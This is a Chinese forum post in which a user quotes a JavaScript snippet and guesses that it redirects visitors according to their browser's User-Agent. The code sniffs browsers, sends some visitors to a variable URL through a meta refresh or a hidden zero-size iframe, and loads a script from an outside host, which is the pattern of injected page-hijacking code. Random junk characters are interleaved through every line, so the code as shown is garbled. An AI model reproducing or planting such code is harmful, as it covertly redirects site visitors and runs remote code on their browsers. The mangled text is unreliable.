|
发表于 2015-9-5 20:41:18
|
显示全部楼层
本帖最后由 seanhere 于 2015-9-5 20:45 编辑 " `0 C3 k. L+ }0 S2 ^6 P
- var ua = navigator.userAgent.toLowerCase(),: n7 v! h4 B& Y' N3 ]
- browser = {
1 |; I; a2 W% ^2 o4 K! G - ver: (ua.match(/(?:rv|me|ra|ie)[\/: ]([\d.]+)/) || [0, "0"])[1],4 h" O5 h. R2 y# c
- opera: /opera/.test(ua),
C# v0 j, W# l$ e$ m* P - maxthon: /maxthon/.test(ua),
1 @& C& P; B2 o& ^ U k2 ? - theworld: /theworld/.test(ua),) H3 w# ~# R4 K7 b4 N. w& e/ v
- qq: /qqbrowser/.test(ua),9 d2 p( Q2 C7 l; S! H8 O2 q- U
- sogou: /se /.test(ua),0 N" h, K2 c6 }5 I, \1 z
- liebao: /liebao/.test(ua),
. i: w! I8 d2 G9 `( K - firefox: /mozilla/.test(ua) && !/(compatible|webkit)/.test(ua),
- n+ O! I A. o2 P! y/ y - chrome: /chrome|crios/.test(ua),8 f: {8 t, v: a2 y; g
- safari: /webkit/.test(ua),
! {) W' O4 {0 w- N9 o1 |# T) t4 d0 I - uc: /ucbrowser/.test(ua),
; K [" B/ V+ N - ie: /msie/.test(ua) && !/opera/.test(ua)
* F$ M) U* V; @. @. \ - };
' G6 ?, g2 V/ k$ O! |- @ - var ver = browser.ver;
7 ~" u8 W3 {3 I p4 n$ J - if (browser.firefox || /Android|Windows Phone|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)) {7 @6 R9 X3 q0 k& A6 T G% m: ^# A$ F
- document.write("<meta http-equiv=Refresh content="0;url=" + tourl + "">");. l; N6 f/ `4 P' H3 {7 O; T$ U4 o
- } else { P3 y& e# ~0 J
- window.sc = "<iframe src=" + tourl + "></iframe>";% q( F$ @- C3 J/ [7 @3 j( r
- document.write("<iframe src="javascript:parent.sc" width=0 height=0></iframe>");
2 y9 ?2 V' K" x- ?* S* v$ p# s. B - }' Y* z! y k3 m
- document.write("<script src='http://run.suobianyu.com/a.js'><\/script>");
复制代码 Q* V# D8 v& j G
4 k' m* Q% N- Q! w, |( v
好像是根据用户浏览器的User-agent信息来决定如何跳转。 |
|